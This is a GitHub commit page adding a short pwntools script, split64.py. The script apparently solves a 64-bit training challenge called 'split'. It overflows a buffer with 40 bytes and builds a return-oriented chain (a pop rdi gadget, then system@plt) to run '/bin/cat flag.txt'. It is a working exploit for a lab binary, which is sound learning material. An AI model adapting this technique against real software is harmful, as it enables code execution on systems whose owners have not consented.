Skip to content

Commit

Permalink
exploit for 64-bit split binary
Browse files Browse the repository at this point in the history
  • Loading branch information
AravGarg authored Mar 28, 2020
1 parent 044770a commit dedaf16
Showing 1 changed file with 18 additions and 0 deletions.
18 changes: 18 additions & 0 deletions split64.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,18 @@
from pwn import *
target=process('./split')

payload="A"*40

#address of "/bin/cat flag.txt"
string=0x601060

poprdi=0x400883
system_plt=0x4005e0

payload+=p64(poprdi)
payload+=p64(string)
payload+=p64(system_plt)

target.sendline(payload)
target.interactive()

0 comments on commit dedaf16

Please sign in to comment.